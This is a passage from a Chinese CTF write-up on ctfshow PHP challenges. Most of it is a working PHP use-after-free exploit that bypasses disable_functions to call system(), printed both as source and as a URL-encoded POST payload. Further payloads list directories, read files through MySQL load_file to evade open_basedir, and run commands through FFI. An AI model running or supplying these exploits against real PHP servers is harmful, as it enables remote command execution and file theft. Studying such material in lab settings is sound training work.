  84. list($data_addr, $text_size, $data_size) = $elf;
  85. for ($i = 0; $i < $data_size / 8; $i++) {
  86. $leak = leak($data_addr, $i * 8);
  87. if ($leak - $base > 0 && $leak - $base < $data_addr - $base) {
  88. $deref = leak($leak);
  89. if ($deref != 0x746e6174736e6f63)
  90. continue;
  91. } else continue;
  92. $leak = leak($data_addr, ($i + 4) * 8);
  93. if ($leak - $base > 0 && $leak - $base < $data_addr - $base) {
  94. $deref = leak($leak);
  95. if ($deref != 0x786568326e6962)
  96. continue;
  97. } else continue;
  98. return $data_addr + $i * 8;
  99. }
  100. }
  101. function get_binary_base($binary_leak)
  102. {
  103. $base = 0;
  104. $start = $binary_leak & 0xfffffffffffff000;
  105. for ($i = 0; $i < 0x1000; $i++) {
  106. $addr = $start - 0x1000 * $i;
  107. $leak = leak($addr, 0, 7);
  108. if ($leak == 0x10102464c457f) {
  109. return $addr;
  110. }
  111. }
  112. }
  113. function get_system($basic_funcs)
  114. {
  115. $addr = $basic_funcs;
  116. do {
  117. $f_entry = leak($addr);
  118. $f_name = leak($f_entry, 0, 6);
  119. if ($f_name == 0x6d6574737973) {
  120. return leak($addr + 8);
  121. }
  122. $addr += 0x20;
  123. } while ($f_entry != 0);
  124. return false;
  125. }
  126. function trigger_uaf($arg)
  127. {
  128. $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
  129. $vuln = new Vuln();
  130. $vuln->a = $arg;
  131. }
  132. if (stristr(PHP_OS, 'WIN')) {
  133. die('This PoC is for *nix systems only.');
  134. }
  135. $n_alloc = 10;
  136. $contiguous = [];
  137. for ($i = 0; $i < $n_alloc; $i++)
  138. $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
  139. trigger_uaf('x');
  140. $abc = $backtrace[1]['args'][0];
  141. $helper = new Helper;
  142. $helper->b = function ($x) {
  143. };
  144. if (strlen($abc) == 79 || strlen($abc) == 0) {
  145. die("UAF failed");
  146. }
  147. $closure_handlers = str2ptr($abc, 0);
  148. $php_heap = str2ptr($abc, 0x58);
  149. $abc_addr = $php_heap - 0xc8;
  150. write($abc, 0x60, 2);
  151. write($abc, 0x70, 6);
  152. write($abc, 0x10, $abc_addr + 0x60);
  153. write($abc, 0x18, 0xa);
  154. $closure_obj = str2ptr($abc, 0x20);
  155. $binary_leak = leak($closure_handlers, 8);
  156. if (!($base = get_binary_base($binary_leak))) {
  157. die("Couldn't determine binary base address");
  158. }
  159. if (!($elf = parse_elf($base))) {
  160. die("Couldn't parse ELF header");
  161. }
  162. if (!($basic_funcs = get_basic_funcs($base, $elf))) {
  163. die("Couldn't get basic_functions address");
  164. }
  165. if (!($zif_system = get_system($basic_funcs))) {
  166. die("Couldn't get zif_system address");
  167. }
  168. $fake_obj_offset = 0xd0;
  169. for ($i = 0; $i < 0x110; $i += 8) {
  170. write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
  171. }
  172. write($abc, 0x20, $abc_addr + $fake_obj_offset);
  173. write($abc, 0xd0 + 0x38, 1, 4);
  174. write($abc, 0xd0 + 0x68, $zif_system);
  175. ($helper->b)($cmd);
  176. exit();
  177. }
  178. ctfshow("cat /flag0.txt");
  179. ob_end_flush();
  180. ?>
  1. # payload
  2. c=function%20ctfshow(%24cmd)%0A%7B%0A%20%20%20%20global%20%24abc%2C%20%24helper%2C%20%24backtrace%3B%0A%0A%20%20%20%20class%20Vuln%0A%20%20%20%20%7B%0A%20%20%20%20%20%20%20%20public%20%24a%3B%0A%0A%20%20%20%20%20%20%20%20public%20function%20__destruct()%0A%20%20%20%20%20%20%20%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20global%20%24backtrace%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20unset(%24this-%3Ea)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24backtrace%20%3D%20(new%20Exception)-%3EgetTrace()%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if%20(!isset(%24backtrace%5B1%5D%5B'args'%5D))%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24backtrace%20%3D%20debug_backtrace()%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20class%20Helper%0A%20%20%20%20%7B%0A%20%20%20%20%20%20%20%20public%20%24a%2C%20%24b%2C%20%24c%2C%20%24d%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20str2ptr(%26%24str%2C%20%24p%20%3D%200%2C%20%24s%20%3D%208)%0A%20%20%20%20%7B%0A%20%20%20%20%20%20%20%20%24address%20%3D%200%3B%0A%20%20%20%20%20%20%20%20for%20(%24j%20%3D%20%24s%20-%201%3B%20%24j%20%3E%3D%200%3B%20%24j--)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24address%20%3C%3C%3D%208%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24address%20%7C%3D%20ord(%24str%5B%24p%20%2B%20%24j%5D)%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20return%20%24address%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20ptr2str(%24ptr%2C%20%24m%20%3D%208)%0A%20%20%20%20%7B%0A%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%0A%20%20%20%20%20%20%20%20for%20(%24i%20%3D%200%3B%20%24i%20%3C%20%24m%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20sprintf(%22%25c%22%2C%20(%24ptr%20%26%200xff))%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24ptr%20%3E%3E%3D%208%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20return%20%24out%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20write(%26%24str%2C%20%24p%2C%20%24v%2C%20%24n%20%3D%208)%0A%20%20%20%20%7B%0A%20%20%20%20%20%20%20%20%24i%20%3D%200%3B%0A%20%20%20%20%20%20%20%20for%20(%24i%20%3D%200%3B%20%24i%20%3C%20%24n%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24str%5B%24p%20%2B%20%24i%5D%20%3D%20sprintf(%22%25c%22%2C%20(%24v%20%26%200xff))%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24v%20%3E%3E%3D%208%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20leak(%24addr%2C%20%24p%20%3D%200%2C%20%24s%20%3D%208)%0A%20%20%20%20%7B%0A%20%20%20%20%20%20%20%20global%20%24abc%2C%20%24helper%3B%0A%20%20%20%20%20%20%20%20write(%24abc%2C%200x68%2C%20%24addr%20%2B%20%24p%20-%200x10)%3B%0A%20%20%20%20%20%20%20%20%24leak%20%3D%20strlen(%24helper-%3Ea)%3B%0A%20%20%20%20%20%20%20%20if%20(%24s%20!%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%25%3D%202%20%3C%3C%20(%24s%20*%208)%20-%201%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20return%20%24leak%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20parse_elf(%24base)%0A%20%20%20%20%7B%0A%20%20%20%20%20%20%20%20%24e_type%20%3D%20leak(%24base%2C%200x10%2C%202)%3B%0A%0A%20%20%20%20%20%20%20%20%24e_phoff%20%3D%20leak(%24base%2C%200x20)%3B%0A%20%20%20%20%20%20%20%20%24e_phentsize%20%3D%20leak(%24base%2C%200x36%2C%202)%3B%0A%20%20%20%20%20%20%20%20%24e_phnum%20%3D%20leak(%24base%2C%200x38%2C%202)%3B%0A%0A%20%20%20%20%20%20%20%20for%20(%24i%20%3D%200%3B%20%24i%20%3C%20%24e_phnum%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24header%20%3D%20%24base%20%2B%20%24e_phoff%20%2B%20%24i%20*%20%24e_phentsize%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_type%20%3D%20leak(%24header%2C%200%2C%204)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_flags%20%3D%20leak(%24header%2C%204%2C%204)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_vaddr%20%3D%20leak(%24header%2C%200x10)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_memsz%20%3D%20leak(%24header%2C%200x28)%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20if%20(%24p_type%20%3D%3D%201%20%26%26%20%24p_flags%20%3D%3D%206)%20%7B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24data_addr%20%3D%20%24e_type%20%3D%3D%202%20%3F%20%24p_vaddr%20%3A%20%24base%20%2B%20%24p_vaddr%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24data_size%20%3D%20%24p_memsz%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20if%20(%24p_type%20%3D%3D%201%20%26%26%20%24p_flags%20%3D%3D%205)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24text_size%20%3D%20%24p_memsz%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%0A%20%20%20%20%20%20%20%20if%20(!%24data_addr%20%7C%7C%20!%24text_size%20%7C%7C%20!%24data_size)%0A%20%20%20%20%20%20%20%20%20%20%20%20return%20false%3B%0A%0A%20%20%20%20%20%20%20%20return%20%5B%24data_addr%2C%20%24text_size%2C%20%24data_size%5D%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20get_basic_funcs(%24base%2C%20%24elf)%0A%20%20%20%20%7B%0A%20%20%20%20%20%20%20%20list(%24data_addr%2C%20%24text_size%2C%20%24data_size)%20%3D%20%24elf%3B%0A%20%20%20%20%20%20%20%20for%20(%24i%20%3D%200%3B%20%24i%20%3C%20%24data_size%20%2F%208%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24data_addr%2C%20%24i%20*%208)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if%20(%24leak%20-%20%24base%20%3E%200%20%26%26%20%24leak%20-%20%24base%20%3C%20%24data_addr%20-%20%24base)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24deref%20%3D%20leak(%24leak)%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20(%24deref%20!%3D%200x746e6174736e6f63)%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20continue%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24data_addr%2C%20(%24i%20%2B%204)%20*%208)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if%20(%24leak%20-%20%24base%20%3E%200%20%26%26%20%24leak%20-%20%24base%20%3C%20%24data_addr%20-%20%24base)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24deref%20%3D%20leak(%24leak)%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20(%24deref%20!%3D%200x786568326e6962)%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20continue%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20return%20%24data_addr%20%2B%20%24i%20*%208%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20get_binary_base(%24binary_leak)%0A%20%20%20%20%7B%0A%20%20%20%20%20%20%20%20%24base%20%3D%200%3B%0A%20%20%20%20%20%20%20%20%24start%20%3D%20%24binary_leak%20%26%200xfffffffffffff000%3B%0A%20%20%20%20%20%20%20%20for%20(%24i%20%3D%200%3B%20%24i%20%3C%200x1000%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24addr%20%3D%20%24start%20-%200x1000%20*%20%24i%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24addr%2C%200%2C%207)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if%20(%24leak%20%3D%3D%200x10102464c457f)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%20%24addr%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20get_system(%24basic_funcs)%0A%20%20%20%20%7B%0A%20%20%20%20%20%20%20%20%24addr%20%3D%20%24basic_funcs%3B%0A%20%20%20%20%20%20%20%20do%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24f_entry%20%3D%20leak(%24addr)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24f_name%20%3D%20leak(%24f_entry%2C%200%2C%206)%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20if%20(%24f_name%20%3D%3D%200x6d6574737973)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%20leak(%24addr%20%2B%208)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%24addr%20%2B%3D%200x20%3B%0A%20%20%20%20%20%20%20%20%7D%20while%20(%24f_entry%20!%3D%200)%3B%0A%20%20%20%20%20%20%20%20return%20false%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20trigger_uaf(%24arg)%0A%20%20%20%20%7B%0A%0A%20%20%20%20%20%20%20%20%24arg%20%3D%20str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')%3B%0A%20%20%20%20%20%20%20%20%24vuln%20%3D%20new%20Vuln()%3B%0A%20%20%20%20%20%20%20%20%24vuln-%3Ea%20%3D%20%24arg%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if%20(stristr(PHP_OS%2C%20'WIN'))%20%7B%0A%20%20%20%20%20%20%20%20die('This%20PoC%20is%20for%20*nix%20systems%20only.')%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20%24n_alloc%20%3D%2010%3B%0A%20%20%20%20%24contiguous%20%3D%20%5B%5D%3B%0A%20%20%20%20for%20(%24i%20%3D%200%3B%20%24i%20%3C%20%24n_alloc%3B%20%24i%2B%2B)%0A%20%20%20%20%20%20%20%20%24contiguous%5B%5D%20%3D%20str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')%3B%0A%0A%20%20%20%20trigger_uaf('x')%3B%0A%20%20%20%20%24abc%20%3D%20%24backtrace%5B1%5D%5B'args'%5D%5B0%5D%3B%0A%0A%20%20%20%20%24helper%20%3D%20new%20Helper%3B%0A%20%20%20%20%24helper-%3Eb%20%3D%20function%20(%24x)%20%7B%0A%20%20%20%20%7D%3B%0A%0A%20%20%20%20if%20(strlen(%24abc)%20%3D%3D%2079%20%7C%7C%20strlen(%24abc)%20%3D%3D%200)%20%7B%0A%20%20%20%20%20%20%20%20die(%22UAF%20failed%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20%24closure_handlers%20%3D%20str2ptr(%24abc%2C%200)%3B%0A%20%20%20%20%24php_heap%20%3D%20str2ptr(%24abc%2C%200x58)%3B%0A%20%20%20%20%24abc_addr%20%3D%20%24php_heap%20-%200xc8%3B%0A%0A%20%20%20%20write(%24abc%2C%200x60%2C%202)%3B%0A%20%20%20%20write(%24abc%2C%200x70%2C%206)%3B%0A%0A%20%20%20%20write(%24abc%2C%200x10%2C%20%24abc_addr%20%2B%200x60)%3B%0A%20%20%20%20write(%24abc%2C%200x18%2C%200xa)%3B%0A%0A%20%20%20%20%24closure_obj%20%3D%20str2ptr(%24abc%2C%200x20)%3B%0A%0A%20%20%20%20%24binary_leak%20%3D%20leak(%24closure_handlers%2C%208)%3B%0A%20%20%20%20if%20(!(%24base%20%3D%20get_binary_base(%24binary_leak)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20determine%20binary%20base%20address%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if%20(!(%24elf%20%3D%20parse_elf(%24base)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20parse%20ELF%20header%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if%20(!(%24basic_funcs%20%3D%20get_basic_funcs(%24base%2C%20%24elf)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20get%20basic_functions%20address%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if%20(!(%24zif_system%20%3D%20get_system(%24basic_funcs)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20get%20zif_system%20address%22)%3B%0A%20%20%20%20%7D%0A%0A%0A%20%20%20%20%24fake_obj_offset%20%3D%200xd0%3B%0A%20%20%20%20for%20(%24i%20%3D%200%3B%20%24i%20%3C%200x110%3B%20%24i%20%2B%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20write(%24abc%2C%20%24fake_obj_offset%20%2B%20%24i%2C%20leak(%24closure_obj%2C%20%24i))%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20write(%24abc%2C%200x20%2C%20%24abc_addr%20%2B%20%24fake_obj_offset)%3B%0A%20%20%20%20write(%24abc%2C%200xd0%20%2B%200x38%2C%201%2C%204)%3B%0A%20%20%20%20write(%24abc%2C%200xd0%20%2B%200x68%2C%20%24zif_system)%3B%0A%0A%20%20%20%20(%24helper-%3Eb)(%24cmd)%3B%0A%20%20%20%20exit()%3B%0A%7D%0A%0Actfshow(%22cat%20%2Fflag0.txt%22)%3B%0Aob_end_flush()%3B

但这玩意儿仅限 unix,因此我没成功回显,这里payload是抄的.....

web73

使用遍历获取目录

  1. c=$a=scandir("/");foreach($a as $key=>$value){echo $key."=>".$value;}exit();
  2. c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');}exit();

包含试试

c=include('flagc.txt');exit();

web74

扫描目录
scandir()被禁用,用DirectoryIterator类

  1. c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');}exit();
  2. c=$a=new DirectoryIterator("/");foreach($a as $key=>$value){echo $key."=>".$value;}exit();

包含flagx.txt即可,c=include('/flagx.txt');exit();

web75

用上面的glob协议扫描flag在flag36.txt

这道题的payload不是很懂,利用sql语句绕过open_basedir和disable_function

mysql的连接参数可以通过前面几个题拿到 ,这里可以参考通过sql数据库读取文件

这里直接上payload

  1. c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
  2. 'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row)
  3. {echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
  4. >getMessage();exit(0);}exit(0);

web76

思路跟上题一样,payload如下

  1. c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
  2. 'root');foreach($dbh->query('select load_file("/flag36d.txt")') as $row)
  3. {echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
  4. >getMessage();exit(0);}exit(0);

web77

  1. if(isset($_POST['c'])){
  2. $c= $_POST['c'];
  3. eval($c);
  4. $s = ob_get_contents();
  5. ob_end_clean();
  6. echo preg_replace("/[0-9]|[a-z]/i","?",$s);
  7. }

依旧先用用上面的glob协议扫描flag在flag36x.txt

题目提示环境为PHP7.4,这道题是利用FFI拓展,payload如下

  1. $ffi = FFI::cdef("int system(const char *command);");//创建一个system对象
  2. $a='/readflag > 1.txt';//没有回显的
  3. $ffi->system($a);//通过$ffi去调用system函数
  4. c=?><?php $ffi = FFI::cdef("int system(const char *command);");$ffi->system("/readflag >flag.txt");exit();

传入payload之后访问flag.txt即可

web118

查看提示,这道题用到了linux的内置变量.

fuzz尝试之后发现只有大写字母和${}:?.~等等字符可以通过,可以使用bash内置变量进行利用

这里附上演示示例

  1. ┌──(root
    声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/知新_RL/article/detail/381639
    推荐阅读
    相关标签